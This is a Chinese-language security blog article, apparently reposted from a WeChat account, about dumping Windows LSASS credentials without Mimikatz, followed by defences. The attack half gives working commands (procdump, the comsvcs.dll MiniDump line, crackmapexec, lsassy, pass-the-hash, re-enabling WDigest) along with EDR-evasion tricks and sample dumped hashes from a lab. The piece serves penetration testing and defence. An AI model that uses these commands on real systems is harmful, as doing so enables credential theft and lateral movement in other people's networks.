Mimikatz是渗透测试中用于从 Windows 内存转储凭据的知名工具。对于渗透测试人员来说,此方法对于 Windows Active Directory 环境中的横向和纵向权限提升非常有用,并且几乎用于每个内部渗透测试。由于其流行性,Mimikatz 可执行文件和 PowerShell 脚本被大多数防病毒 (AV) 解决方案检测到。这篇文章将介绍几种无需修改 Mimikatz 以逃避 AV 即可实现相同目标的替代方法,以及一些预防和检测此攻击的方法。
Windows 身份验证
Windows 和 Active Directory 身份验证机制相当复杂,其内部工作原理的细节超出了本文的范围。但是,以下主题对于理解为什么 Mimikatz 等工具在被攻击者或渗透测试人员使用时如此有效且对公司安全造成破坏至关重要:
LSASS
本地安全机构子系统服务 (LSASS) 是 Microsoft Windows 上的进程,负责处理所有用户身份验证、密码更改、访问令牌创建以及安全策略的执行。这意味着该进程存储多种形式的哈希密码,在某些情况下甚至存储纯文本用户密码。
WDigest 身份验证用于旧版本的 Windows Server,并将明文密码存储在内存中。由于 Microsoft 非常注重向后兼容性,因此在 Windows 8 和 Windows Server 2012 R2 之前的 Windows 操作系统上,这种身份验证方法实际上是默认启用的。更糟糕的是,它实际上是域身份验证过程的一部分,这意味着在启用 WDigest 的情况下,网络上的用户任何时候使用 RDP 远程访问计算机、使用 SMB 对文件共享进行身份验证或在控制台中物理输入密码时,他们的明文凭据都会存储在 LSASS 进程的内存空间中,攻击者可以提取这些凭据。
虽然 Windows 7 和 Server 2008 现已不再提供扩展支持,应尽可能停止使用,但许多组织仍有很大比例的工作站和服务器运行这些旧版本的 Windows 操作系统。这使它们成为攻击者进行 Mimikatz 式 LSASS 转储的主要目标。
转储 LSASS 的必要条件
为了将 LSASS 转储为攻击者,必须拥有 SEDebugPrivilege。Windows 默认设置是将此权限授予本地管理员,但可以使用“whoami”命令进行验证:
whoami /priv
其次,值得注意的是,在现代机器上,Windows Defender 将终止任何试图转储 LSASS的 PowerShell 进程,因此,使用 CMD 或 .net 工具而不是 PowerShell 来执行此操作非常重要。
以下是用于转储 LSASS 的方法列表。请注意,这些方法中有几种会创建内存转储文件,而不是输出哈希/密码。要处理 LSASS 内存转储文件,Mimikatz 或 Pypykatz 是两种用于提取凭据的常用工具。
Mimikatz 处理 LSASS 内存转储文件:
如果您从 Windows 计算机进行主要测试,则这是一种很好的方法,否则,您必须将转储文件复制到 Windows 计算机才能运行 Mimikatz。请确保在使用 Mimikatz 的计算机上为 Windows Defender 创建例外文件夹,否则 Defender 将隔离您的 Mimikatz 可执行文件。运行 Mimikatz 并使用以下命令从您的 LSASS Dump 文件中提取凭据:
sekurlsa::minidump lsass.DMP
log lsass.txt
sekurlsa::logonPasswords
Pypykatz 处理 LSASS 内存转储文件:
如果你在 Linux 机器上进行主要测试,Pypykatz 是加快从转储文件提取凭据过程的绝佳方法,因为你不必启动 Windows VM 并将转储文件复制到 Mimikatz。使用以下命令通过 Pypykatz 提取凭据:
pypykatz lsa minidump lsass.DMP
攻击
现在我们已经介绍了处理 LSASS 内存转储文件的方法,下面介绍一些从 Windows 机器实际创建这些转储文件的方法。
Windows 签名工具
任务管理器(GUI)
如果您有远程桌面协议 (RDP) 或其他 GUI 访问设备,则可以使用 Windows 任务管理器创建转储文件。Windows Defender 默认不会对此发出警报,因此这是一个非常可靠的选择。这种方法的缺点是扩展性不佳并且速度相对较慢。
从任务管理器中,转到“详细信息”选项卡,找到 lsass.exe,右键单击,然后选择“创建转储文件”:
这将在用户的 AppDataLocalTemp 目录中创建一个转储文件:
现在您需要一种方法将转储文件传输到本地计算机。如果在 Linux 中使用 RDP,xfreerdp 是一个很好的选择,因为您可以使用以下语法自动安装共享驱动器来复制文件:
xfreerdp /v:IPADDRESS /u:USERNAME /p:PASSWORD /d:DOMAIN /drive:SHARE,/path/shared
这将在您远程访问的 Windows 计算机上创建一个名为“SHARE”的共享驱动器:
然后,您可以使用 Pypykatz 从转储文件中提取任何存储的凭据和哈希值:
进程转储
Procdump 是一款 Windows SysInternals 工具,可用于创建进程的内存转储。此方法的缺点是您必须将 Procdump 可执行文件复制到目标计算机,而有些组织会警告该二进制文件是恶意的。此方法也很慢,并且扩展性不佳。
创建 LSASS 内存转储的语法是:
procdump.exe -accepteula -ma lsass.exe out.dmp
一些 EDR 解决方案会根据“lsass”进程名称发出警报或阻止此行为。通常可以通过指定 LSASS 进程 ID 来绕过此问题。
要通过 PowerShell 获取 LSASS 进程 ID:
PS C:Userstestadmin> get-process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1296 26 7148 51752 580 0 lsass
通过 CMD 获取 LSASS 进程 ID:
PS C:Userstest> tasklist | findstr lsass
lsass.exe 580 Services 0 51,752 K
然后使用相同的 procdump 语法:
procdump.exe -accepteula -ma 580 out.dmp
此外,根据 EDR 的不同,只需在进程名称周围添加引号就足够了(例如,这会绕过 Cortex XDR):
procdump.exe -accepteula -ma “lsass.exe” out.dmp
通信
此方法很有趣,因为它使用了所有 Windows 机器上存在的本机库:
C:WindowsSystem32rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump [PID] C:tempout.dmp full
但是,Windows Defender 将发出警报并删除转储文件:
破解图执行程序
Crackmapexec是一款出色的远程执行 LSASS 转储工具。这种方法是我在内部渗透测试中转储 LSASS 的首选方法。它的扩展性非常好,因为您只需使用具有本地管理员访问权限的凭据指向并射击整个子网或 IP 地址列表:
crackmapexec smb 192.168.0.76 -u testadmin -p Password123 --lsa
SMB 192.168.0.76 445 DC [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB 192.168.0.76 445 DC [+] test.labtestadmin:Password123 (Pwn3d!)
SMB 192.168.0.76 445 DC [+] Dumping LSA secrets
SMB 192.168.0.76 445 DC TESTDC$:aes256-cts-hmac-sha1-96:5a0f8706487aae9bf38161a4608e7567ac1c4a105226b783ccbd98274c8d4018
SMB 192.168.0.76 445 DC TESTDC$:aes128-cts-hmac-sha1-96:d8402dda8272520b01ba6b8dcfd9b3d8
SMB 192.168.0.76 445 DC TESTDC$:des-cbc-md5:f45b2361ae1ad308
SMB 192.168.0.76 445 DC TESTDC$:plain_password_hex:4e4545a05fe307150e0679cf4169caea359467422908fec7e82b6eb63d23dfa9cb180c4c3da62ff7ce1ab1396b1fa505300bed8d7a67e36b74ab9b25721756181c47850cf9dc220964ae7c50a104cfed776f5c1cb8865bb443d9d757cd90dc1dca063ba89776825f20d7d61b7debfb5339cd69dc3c3c81b0e81c6b74065d4456a6339991fd05a5e687cd8fd0f81562a3613f7094015ab82ca0e16fca01551fdef5f397f48664cb64801215b453d29c1034aca75242c3be6aa080dd6be94ca91f712db8c6d4ca6305ee47912fa5a11bc388388fde380c3d9a712d6c8fe36b50c3cdedc4cae98d75eb9561c0a8ec13a0da
SMB 192.168.0.76 445 DC TESTDC$:aad3b435b51404eeaad3b435b51404ee:6e93dbc1944a24129c85324692f4687b:::
SMB 192.168.0.76 445 DC dpapi_machinekey:0x974d7e0eab71f962c006ae631a67883cb65fbb8e
dpapi_userkey:0xcc3bd3a27097b37446adc6e7dc5023a3316e3a3e
SMB 192.168.0.76 445 DC NL$KM:b4d3d7354eec7c5d18ca62845d33e65cdaf826db03b4bf401f2c3864fd56d271f908f8eefbf0d278675be217810199c6ce158550484b62fd6a280564bf305814
SMB 192.168.0.76 445 DC [+] Dumped 7 LSA secrets to /home/t/.cme/logs/DC_192.168.0.76_2021-07-22_122314.secrets and /home/t/.cme/lo
请注意,这会将转储的哈希值和纯文本密码存储到您的主目录下的 ~/.cme/logs/ 下。
当您在多台机器上转储 LSASS 时,这会使检索变得容易。CrackMapExec在后台 使用 Impacket 的 secretsdump.py 来转储 LSASS。
LSASS
Lsassy 是一个有趣的工具,它结合使用上述方法来远程转储 LSASS。默认命令尝试使用 comsvcs.dll 方法通过 WMI 或远程计划任务转储 LSASS:
└─$ lsassy -d test.lab -u testadmin -p Password123 192.168.0.76
[+] [192.168.0.76] TESTtestadmin 58a478135a93ac3bf058a5ea0e8fdb71[+] [192.168.0.76] TESTtestadmin Password123
此外,Lsassy 已集成到 Crackmapexec 中,为您提供仅包含 NTLM 哈希或纯文本凭据的干净输出。与“–lsa”方法相比,此方法的缺点是它不会自动将结果存储在 Crackmapexec 日志目录中。
└─$ crackmapexec smb 192.168.0.76 -u testadmin -p Password123 -M lsassy
SMB 192.168.0.76 445 DC [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB 192.168.0.76 445 DC [+] test.labtestadmin:Password123 (Pwn3d!)
LSASSY 192.168.0.76 445 DC TESTtestadmin 58a478135a93ac3bf058a5ea0e8fdb71
LSASSY 192.168.0.76 445 DC TESTtestadmin Password123
在较新的机器上启用 WDigest
虽然 WDigest 在较新的机器上被禁用,但攻击者仍有可能启用它,以便在用户登录后获取纯文本凭据。可以通过将必要的注册表项设置为“1”而不是“0”来启用 WDigest:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /d 1
请注意,作为渗透测试人员,这会打开一个安全漏洞,并且可能不符合客户的最佳利益,具体取决于他们的业务需求。要再次禁用 WDigest,请将注册表项重新设置为“0”:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /d 0
此外,可以使用 Crackmapexec 远程完成此操作:
└─$ crackmapexec smb 192.168.0.76 -u testadmin -p Password123 -M wdigest -o action=enable
SMB 192.168.0.76 445 DC [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB 192.168.0.76 445 DC [+] test.labtestadmin:Password123 (Pwn3d!)
WDIGEST 192.168.0.76 445 DC [+] UseLogonCredential registry key created successfully
通常情况下,除非在非常有针对性的攻击中,否则无需启用 WDigest,因为 Pass-the-Hash 仍然存在且运行良好。CrackMapExec 通过使用“-H”标志,可以非常轻松地使用 NTLM 哈希进行横向移动:
└─$ crackmapexec smb 192.168.0.76 -u testadmin -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB 192.168.0.76 445 DC [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC) (domain:test.lab) (signing:True) (SMBv1:True)
SMB 192.168.0.76 445 DC [+] test.labtestadmin 58a478135a93ac3bf058a5ea0e8fdb71 (Pwn3d!)
防御
防御这种攻击的最佳方法是什么?如上所示,使用基于签名的检测的 EDR 来阻止 Mimikatz 是不够的。您的组织可以采取一些措施来帮助防止这些攻击。理想情况下,所有停用的 Windows 操作系统都应退役并升级到当前支持的操作系统。较新的 Windows 操作系统默认禁用 WDigest,有助于防止使用这些方法转储纯文本密码。但是,对于某些组织来说,这并不总是可行的,攻击者仍然可以使用上述方法转储 NTLM 哈希,然后可以破解这些哈希或将其用于传递哈希攻击以执行横向移动。另一个重要的防御措施是尽可能限制本地管理访问。除了这两个一般规则之外,以下是一些可用于防止和检测这些攻击的方法。
最佳防御措施摘要:
-
如果可能的话,停用所有已停用的 Windows 操作系统
-
尽可能限制本地管理访问
-
在 Windows 8 和 Windows Server 2012 R2 之前的所有 Windows 操作系统上禁用 WDigest
-
启用 Windows Defender Credential Guard
-
监视注册表更改,以确保 WDigest 未重新启用,并且 Windows Defender Credential Guard 未被禁用
-
如果可能的话,对传递哈希发出警报并加以限制
*免责声明:这些变化应该在您的环境中进行彻底测试,以确保它们不会造成任何负面影响。
禁用 WDigest
首先,如果您有任何过时的 Windows 操作系统(Windows 8 和 Windows Server 2012 R2 之前),WDigest 在这些设备上默认启用,应通过组策略禁用。这可以通过安装 Windows 修补程序KB 2871997并将以下注册表项设置为 0 来完成:
HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential
此外,应将此注册表项添加到您的监控解决方案中,如果注册表项设置为“1”或在您环境中的任何地方启用,则触发高严重性警报。
禁用本地管理员的 SEDebugPrivilege
由于 SEDebugPrivilege 是转储 LSASS 内存所必需的,因此禁用本地管理员的权限理想情况下会使此攻击无法执行。但是,本地管理员可以轻松地再次授予自己此权限,这使得此技术对于防止转储 LSASS 内存而言相对无用。(8)虽然可以轻松绕过它,但对于某些组织来说,此技术可能很有用,作为纵深防御策略的附加层,有助于防止自动攻击。
基于签名的检测和警报
除了在启用 WDigest 时发出警报外,许多 EDR 解决方案还会根据常用名称对转储文件的创建发出警报(例如,Elastic 对以下名称发出警报:“lsass*.dmp”、“dumpert.dmp”、“Andrew.dmp”、“SQLDmpr*.mdmp”、“Coredump.dmp”)。此外,一些 EDR 解决方案也将 Procdump 可执行文件标记为恶意文件,迫使攻击者使用其他转储方法。
虽然通过更改转储文件的名称或使用 procdump 以外的工具可以轻松绕过这些类型的检测,但它们可以作为纵深防御策略的一部分,使用具有默认设置的现成工具来捕获懒惰的攻击者或恶意软件。
禁用传递哈希
如果组织禁用 WDigest 并在 WDigest 重新启用时发出警报,这将迫使攻击者破解 NTLM 哈希或使用传递哈希技术。禁用和/或对传递哈希技术发出警报会使 LSASS 转储攻击的效果大大降低,因为它将 LSASS 转储的攻击面缩小到破解转储的 NTLM 凭据的能力。禁用/阻止传递哈希技术是一个复杂的主题,本文不会深入介绍。有关更多信息,请查看这些白皮书。
Windows Defender 凭据保护
在 Windows 10 Enterprise/Pro、Windows Server 2016 和 Windows Server 2019 上,Windows Defender Credential guard 可用于为 LSASS 进程添加额外保护。该技术在虚拟化容器中运行 LSASS,可阻止所有用户(即使是具有 SYSTEM 权限的用户)访问。这实际上使得使用上述任何方法转储 LSASS 变得不可能,并且应被视为防止此类攻击和横向移动的黄金标准。特权用户可以禁用 Credential Guard (10),这意味着他们可以访问未来登录的哈希值。但是,这不允许他们访问 LSASS 中已经存在的哈希值。
有关启用和使用 Credential Guard 的更多信息,请参阅以下链接:https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage
结论
从 LSASS 转储凭据以进行横向移动是一种现今仍然流行的策略。在内部渗透测试中,我们经常看到环境中有许多旧版 Windows 设备,并且 WDigest 仍处于启用状态,这使得这种策略更加危险。通常,一旦在单个主机上实现本地管理访问,转储 LSASS 便会引发一系列横向移动,其中一组凭据被泄露,然后该凭据具有对另一台主机的本地管理员访问权限,而其他凭据存储在具有其他本地管理员的内存中。最终,这通常会导致域管理员帐户被泄露,然后游戏就结束了。这就是为什么预防和检测这些方法对于系统管理员作为防御者来说至关重要的原因。
原文始发于微信公众号(Ots安全):攻击与防御:不使用 Mimikatz 转储 LSASS
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论